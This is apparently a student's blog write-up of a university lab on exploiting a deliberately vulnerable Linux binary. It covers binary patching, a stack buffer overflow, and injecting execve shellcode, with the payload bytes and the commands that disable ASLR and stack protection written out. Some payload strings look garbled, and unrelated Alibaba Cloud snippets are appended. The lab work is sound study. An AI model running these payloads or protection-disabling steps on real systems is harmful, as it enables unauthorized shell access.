• 作业1


    2019-2020-3 20175103王伟泽《网络对抗技术》Exp1 PC平台逆向破解

    一、实践目标

    本次实践的对象是一个名为pwn1的linux可执行文件。
    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
    该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

    三个实践内容如下:

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。

    这几种思路,基本代表现实情况中的攻击目标:

    • 运行原本不可访问的代码片段
    • 强行修改程序执行流
    • 注入运行任意代码。

    二、基础知识

    管道符|、输入重定向>、 追加输入>>以及常用的linux文件操作。

    实验内说明。

    常用汇编语言、机器语言、EIP寄存器、指令地址。

    • NOP汇编指令的机器码是“90”
    • JNE汇编指令的机器码是“75”
    • JE 汇编指令的机器码是“74”
    • JMP汇编指令的机器码是“eb”
    • CMP汇编指令的机器码是“39”

    掌握反汇编与十六进制编程器

    反汇编指令 objdump -d (文件名)| more
    其中
    objdump -d将代码段反汇编
    -d英文全称是disassembling,反汇编选项
    |管道符,将上一命令的输出作为下一命令的输入。
    more使文件以一页一页的形式显示,,更方便使用者逐页阅读
    十六进制编辑器

    学会使用gdbvi操作文件或进程。

    进入vim编辑器后按esc后输入 %!xxd 将显示模式切换为16进制
    编辑完成后按esc后输入 %!xxd -r 将转换为原格式
    esc后输入:wq保存退出
    gdb于实验中说明。

    三、实验内容

    实验一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

    源文件中main函数调用函数为foo函数,我们直接修改该文件内容,使其调用函数改变,从而激活getshell,最简单粗暴的方式。

    1.载入pwn1,使用cp指令生成待操作文件pwn1.cp

    2.使用objdump -d pwn1.cp | more对文件pwn1.cp进行反汇编并查看。其中第一列为内存地址,第二列为机器指令,第三列为对应汇编指令。

    3.因为所修改内容位于主函数,通过翻页查找到主函数所在地。通过图片可以看到,主函数main中通过call 8048491<foo>调用函数foo,为了使其改为调用getshell函数,我们需要对其进行修改。该指令对应机器指令为e8 d7,其中e8call指令所对应的机器指令,d7 ff ff ff对应的则是foo函数的内存起始地址的补码,(该数值产生与call指令的工作原理有关,当执行call指令时,call指令后的数据将与EIP中的内容相加,此处即将计算“d7ffffff+EIP”为内存地址的指令。而在此时EIP中存储的是下一条指令的内存地址,即80484ba+d7ffffff,就是函数foo所在的内存地址8048491)因此需要对d7ffffff进行修改。

    4.经过计算器计算804847dgetsheel起始地址)-80484ba(EIP值)算出补码为ffffffc3,用该数值替换原先d7ffffff即可。

    5.接下来开始编辑可执行文件pwn1.cp。首先使用vim编译器打开pwn1.cp,发现是乱码显示。

    6.此处需要使用vim%!xxd指令将文件转换为十六进制显示。显示完成后输入/e8 d7查找要修改的地方(此处e8d7之间需要加空格,否则无法正确查找到)。

    7.根据前后文确定好修改位置,i进入编辑模式将d7改为c3(此处因为该文件存储为小端存储,在实验中我曾以为错以为FFFFFFC3大端转为小端存储时应是3CFFFFFF,后发现结果错误,才了解学到了大端转小端是按照两个字节一组转的,组内顺序不变。)

    8.将文件重新转为原本的表达方式,使用%!xxd -r转回(如不转回原格式直接保存,运行该文件会出错)。重新对修改后文件进行反汇编验证。

    9.验证成功后,执行,出现文字符,实验一成功。

    实验二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

    此处用到缓冲区溢出攻击,关键是利用数据溢出覆盖EIP,改写文件进程走向,从而执行我们想执行的内容。最重要的就是确定EIP的位置。

    1.实验前准备,要下载gdb,使用指令apt-get install gdb下载。

    2.使用cp生成pwn1的复制pwn1.cp1。反汇编查看结构,从该指令8d 45 e4 lea -0x1c(%ebp),%eax发现在读入字符串时,该堆栈分配了0x1c的空间大小,即28个字节,如果读入的字符串够大,就可覆盖到EIP进而造成缓冲区溢出攻击。main中的call指令调用foo,并且在堆栈上压上返回地址80484ba

    3.下面我们要确定输入的字符串会覆盖返回地址的位置,我们首先构建一个字符串1111111122222222333333334444444412345678作为测试,使用指令gdb对pwn1.cp1进行调试,输入r运行程序,输入构造好的测试字符串,发现返回地址为34333231,而这正是1234的ASCII的值,说明返回地址在第33到36位间。

    4.由之前的反汇编可得知getshell的内存地址为0804847d,因为之前测试中1234对应ASCII为0x34333231,因此应把要覆盖返回地址的值设计成x7dx84x04x08,即攻击字符串为11111111222222223333333344444444/x7d/x84/x04/x08。因为我们无法直接通过键盘输入十六进制,这时候就需要先把该字符串使用输入重定向>装入文件,再将文件中的内容通过cat读出并使用管道符|作为程序的输入。使用perl -e 'print"11111111222222223333333344444444x7dx84x04x08x0a"' >20175103创建好文件20175103后使用xxd十六进制显示检查一下文件内容是否正确,指令中x0a是回车。

    5.输入(cat 20175103;cat)|./pwn1.cp1成功得到shell。

    实验三:注入一个自己制作的shellcode并运行这段shellcode。

    该种思路需要用到Shellcode,shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。和前面的getshell功能一致,唯一的区别在于,getshell是可执行程序里已有的,只是用户不可见,而shellcode是自己编写的,可以实现任何功能。

    攻击思路:首先将我们设计的shellcode存入缓存区,得到shellcode的内存地址后,使用和第二次实验一样的方法,只不过把原来getshell的内存地址改为shellcode的内存地址,这样就可以运行我们的shellcode了。因此,shellcode的长度一定要小于系统分配缓存区大小,即28字节。

    构筑要注入的payload,在linux中有两种方法:

    • retaddr+nop+shellcode(一般来说使用RNS的形式)
    • nop+shellcode+retaddr(约束shellcode的大小)
      选择哪种需要根据具体情况,一般说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边。

    1.实验前准备:为了成功完成实验,我们需要关闭一些功能:包括

    • apt-get install execstack安装攻击所用execstack。
    • execstack -s pwn1 设置堆栈可执行,否则shellcode输入缓冲区将无法执行,进而不能进行该攻击。
    • execstack -q pwn1 查询文件的堆栈是否可执行,查看之前命令是否生效。
    • more /proc/sys/kernel/randomize_va_space查询地址随机化是否关闭,如果地址随机化关闭,那么shellcode的内存地址将无法确定,进而无法跳转到shellcode,无法执行攻击。
    • echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化。
    • more /proc/sys/kernel/randomize_va_space再次检查地址随机化是否关闭。

    2.首先构造一个注入代码,并写入文件:perl -e 'print "A" x 32;print "perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > 20175103shellcode,其中x90是空指令,加空指令的目的就是形成一片滑行区,到时候寻找该段指令时只要看到该指令便能够找到,减小寻找shellcode内存地址的难度。(其中结尾不可以加x0a,因为我们需要用gdb调试进行,如果输入回车程序就直接报错了)使用(cat 20175103shellcode; cat ) | ./pwn3.cp在一个终端输入该文件内容。

    3.打开另一个终端,使用ps -ef|grep pwn3.cp指令来寻找当前运行进程号。找到该进程号为1320

    4.启动gdb调试该进程,输入attach 1320调试进程,后用disassemble foo因为直接运行会爆错,我们通加入断点来查看报错内容。使用break *0x080484ae指令在ret处加入断点。之后在第一个终端按下回车,在第二个终端使用c查看错误信息。使用info r esp查看esp寄存器内信息。使用x/16x 0xffffd33c指令查看周围内容。每次延申28个字节来查找shellcode的位置,通过x90x90x90x90确定位置最后找到,为0xffffd340

    5.已知shellcode内存地址,构造payload为perl -e 'print "A" x 32;print "x20xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > 20175103shellcode,并将其通过之前的方法作为pwn3.cp的输入,成功调出shell。

    四、实验总结

    错误总结

    • 文本转化为16进制后忘记转回,导致无法运行。
    • 错以为FFFFFFC8大端转为小端存储时应是8CFFFFFF,后发现结果错误,才了解学到了大端转小端是按照两个字节一组转的,组内顺序不变。
    • 搜索e8d7时中间必须有空格,否则搜索不到。
    • 第三次实验中的实验前准备是实时性的,在关闭后重新打开需要重新设置。

    心得

    • 漏洞是什么
      在我看来,漏洞是一种非人愿的缺陷,我们设计出来的系统总是想百分百安全,但是总会在无论是硬件、软件或者协议上多多少少有着一些缺陷,这些缺陷可能不影响正常的使用,但如果有人不怀好意,针对这些漏洞去想办法,就可能能够达到自己的不好目的,如窃取秘密信息、破坏系统、装后门、非法访问系统等。如在本次实验中我们所利用的便是程序编程本身的漏洞,即缓冲区溢出漏洞。漏洞,尤其是未被安全人员发现的零日漏洞,可能会对系统或者程序造成巨大的破坏,并且造成大量的经济损失。

    • 实验后感想
      做完本次实验,回想一下过程,因为我是第一次使用Linux,第一次亲手操刀一次安全攻击,第一次发布博客,以及对之前知识的忘记,种种原因导致我本次实验前前后后共用时一周。但是这一切都非常值得。在这期间所做的努力,不仅使我对实验本身缓冲区溢出攻击的内容更加了解,同时,对如何通过向他人学习从而让自己掌握的方法也更加得心应手。此外,对于发布博客、分享自己实验的过程心得也更加娴熟;并且在实践中捡回了之前学过的理论知识。非常期待下一次实验的到来!

  • 相关阅读:
    让计算成为人类的能力,让数据变成世界的财富。今天更多人成了计算和数据的探索者和追梦者,阿里云也是其中之一。
    在巴山小站,我看到一个小男孩和小女孩共同拿着一部手机,在小站的一角蹭网,这是附近唯一能连上Wi-Fi的地方。那一幕对我内心的震撼,无法用言语形容,这就是互联网版的凿壁借光,这一缕光对这些还没有走出大山的孩子而言,是了解世界的窗户,也把他们的梦想和世界连在了一起。
    安存电子951335电话语录语音平台正式上线,你对自己想要录音的电话,可以拨打951335+对方的电话号码,录音内容就会保存在阿里云提供的云存储上,只要有互联网的地方就可以收听、下载及举证应用。
    阿里金融成立,从第一天开始,就使用阿里云的云计算平台作为运算淘宝和支付宝数据的计算后台。阿里小贷不需要抵押,纯信用贷款,目前已经能做到3分钟提交申请,1秒批准,0人工干预。数据成为新的信用。
    杭州成为第一个搭建数据大脑的城市,上接来自城市各路的数据,下接执行系统。这个城市大脑要帮助打通数据的静脉和筋脉,让过去沉淀淤积在一起的数据互通起来,让城市的“眼”摄像头和“手”(交通指挥)的动作协调起来。
    城市大脑的建设代表了杭州的城市管理理念,杭州要为中国和世界探索用云计算和大数据解决城市发展问题的方法。
    云栖小镇不是“镇”,就像中关村不是“村”。小镇是一个符号,就像起建于50年前的硅谷的“谷”,和100年前爱迪生所在的门洛公园。
    美国新泽西州,也有一个Menlo Park——门洛公园,尽管不太为人熟知,但爱迪生那里的一个发明却点亮了全世界。
    2013年1月,我们和华通合作在杭州转塘云计算园区建立了第一个数据中心,随后这个园区被我们称为云栖小镇。我们和园区管委会达成了一个共同目标,就是让云栖小镇成为创业创新的第一基地。
    客户教会了我们非常多的东西,甚至改变了我的世界观。是开发者、客户真正在教我们怎么做云计算。
  • 原文地址:https://www.cnblogs.com/20175103-wangweize/p/12438692.html
Copyright © 2020-2023  润新知